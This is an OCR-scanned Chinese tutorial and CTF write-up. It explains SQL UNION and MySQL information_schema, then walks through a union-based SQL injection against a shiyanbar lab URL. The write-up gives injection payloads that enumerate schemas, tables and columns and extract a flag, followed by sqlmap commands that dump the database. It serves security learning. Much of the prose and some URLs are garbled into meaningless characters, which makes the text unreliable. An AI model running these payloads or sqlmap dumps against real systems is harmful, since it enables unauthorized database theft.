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uniontR(EAF T8 H N EE A SELECTIE A HI 45 RE&E
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- SQL unioniE &

column_name(s) table_namel

column_name(s) table_name2

ER: B, unionBfERFERAESME, WRAFEE, #Hunionall

- SQL union all i&#:

column_name(s) table_namel

column_name(s) table _name2

A4b, unions B EE 5 Z R % TF uniond 8 —ANSELECTIE A 151 4
- 345
China%:
E_ID E_Name
01 Zhang, Hua

02 Wang, We
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E_ID E_Name

03 Carter, Thomas
04 Yang, Ming
USAZ:

E_ID E_Name
01 Adams, John
02 Bush, George
03 Carter, Thomas
04 Gates, Bill

fF UNION i<, 51t B4 £ Hh B AN 56 [ £ S (7 B e B3 44 -

E_Name
Zhang, Hua
Wang, Wei

Carter, Thomas
Yang, Ming
Adams, John
Bush, George

Gates, Bill
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E_Name Employees_China

E_Name Employees_USA

E_Name

Zhang, Hua



E_Name

Wang, Wei

Carter, Thomas
Yang, Ming
Adams, John
Bush, George
Carter, Thomas

Gates, Bill

2. MySql# information_schemag 4

ZITEMYSqIZ )G, £F —Ainformation_schema$i#fi &, RMySqlEH K, AEeMIBR, fhiRAt T U5 ia e EcHmEr TR,
WHCHE, RXRTHEENEEE, mEEEL, KRG, 54, URBRE.

EMySQLH, 1 information_schema B & — M4, MYIRESEBEIEE . HPREFEERTMySQLAR S S P4y M pT A H
fEEENEE . MBIEESL, BIEERNR, RENBERR ST N RE. £INFORMATION_SCHEMAH, HHAHRER.
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information_schema#i 5 FE % it 93 :

information_schemar 1 % B
SCHEMATA% AT HHTmysql LBl o BTE S8 E S . &show databases 4 RELZ 3R .
TABLES® BT RTEEEPHOENEE (BEAERD . BHARRT ENERE T HAschema, £
HA, FH|EE, GIEMNALZEE. £showtables from schemanamef)4 BB 3% .
COLUMNS% RETRAMIEE. FHRR T EKRVIEFILEENFIEE. &show columns
from schemaname.tablename ] 45 2B 2 %% .
) IER. & i . e
STATISTICS % RETRFRESINGE zeshowmdex;;rom schemaname.tablename 45 S L I
USER_PRIVILEGES (H PR % BT R TEEMREEE. %5 BIEEmysql.userf g . RIEMFHER.
SCHEMA PRIVILEGES (75 &#UR) # HHTRFHE R RMEE. %5 B KREmysql.doiZME. RIEHHER.
TABLE_PRIVILEGES (FAMR) # ST RTRBURE R . %5 B BEmysql.tables privi#itE. RIEIRHER .
COLUMN_PRIVILEGES (F#U[R) % ST R THMRIE . %5 B Emysql.columns_privi#i® . £IEIRHER.
CHARACTER_SETS (ZfF4#) %® AL T mysqls2 B v HZFEMERE . £SHOW CHARACTER SETERERZ XK.,
COLLATIONS# R T R TFHFREANBEE.
COLLAT'ON-CHARACT;R-SET-APPL'CAB'L'TY HO T A TR B R, X512 RCF SHOW COLLATIONSY#IA B B2
TABLE_CONSTRAINTS# R T HREARKIER. URRMLARER,
KEY_COLUMN_USAGE# iR T BE LRI .
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ROUTINES# ¥ (UDF) . 4 A“mysql.proc name” 153588 T %t 5 F
INFORMATION_SCHEMA.ROUTINESZ ffimysql.proc& 51 .
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VIEWS% ST RTHEETRMERGEE. FEAshowviewstUR, FNLEEEREEE.
TRIGGERS% REETRTAREFHEE. BIEsuperblRA RREF %R

FE—: EUrlbhBETsqliEAN
XIEREH Kurlh:  http://ctf5.shiyanbar.com/8/index.php?id=1 Hid=1H|B ] BeFEESqVEN, ZRMRARETFEESGVEN:

fEulf5im: — N RES
B: http://ctf5.shiyanbar.com/8/index.php?id=1"
gh B BN AmysqIE i E

& C 1} @ ctfS.shiyanbar.com/8/index php?id=1%27 |
i mE G Google B8 [ e AE [ jnca @ SRS CTFE3 git FH h-ui =F laravel vue

on line 35

FEurlEEM: and 1=1
Bl: http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
SRIEEIRE, FILFEESqHEN

&< C O |® ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
i EE G Google B [ s AF [ jnca @ SBE CTFE

content |

|we|c0me to this game! enj0y|

i Funion, 5E3REXEUE 4

url:

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

a] LAE BIHHE 2 44 my_db

&« 0O |® ctfS.shiyanbar.com/8/index.php?id=1%20union%20select%201,SCHEMA_NAME%20from%20informati..
i mFA G Google == [ o AF [ jnca @ SBS CTFES git Fok h-ui =H laravel

content ‘

‘welcome to this game! enjoy‘
‘information_schema ‘
T fmy_db | |
1 [test |

o {fifunion, KELFE4

url

hidine /[ /~+LE mhiivimnkhnain mAam /O /3 mndav, mhindid_1 tindAanm ~Aala~d TADIFC CALICMA TADI T AMAME FDAM

»»

Warning: mysql_fetch_array(): supplied argument is not a valig MySQL regult resource in F:\AlbnH3a\ctf\8\index.php
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information_schema.TABLES

WUEE], R4 Nthiskey

|my_db Hnews
|my_db {[thiskey |

o f#Funion, 3RELFI%
url
http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20select%20TABLE_NAME, COLUMN_NAME%20FROM%20information_schema.COLUMNS
WLLEER], 54 Nk0y

|new5 ”id
|new5 ”content
[thiskey [ Tkoy ]
o FRHiflag
url

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201, kOy%20from%20thiskey
7] LAE Flkey: whatiMyD91dump

‘ content ‘

E welcome to this game! enjoy‘
|L whatiMyD91ldump ‘
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sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1' --current-db

eb épplication-tecﬁnblbgy: Apaché 2.4.18, PHP 5.2.17
pack-end DBMS: MySQL >= 5.0.12

urrent database: ‘my db'

[*] shutting down at 17:43:17

-BERA
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1"' -D my_db -tables

Database: my db
[2 tables]

| news
| [ thiskey ||

-BEIA
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1"' -D my_db -T thiskey --columns

- dump# 8
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1"' -D my_db -T thiskey -C kO@y --dump

able:
[1 entry
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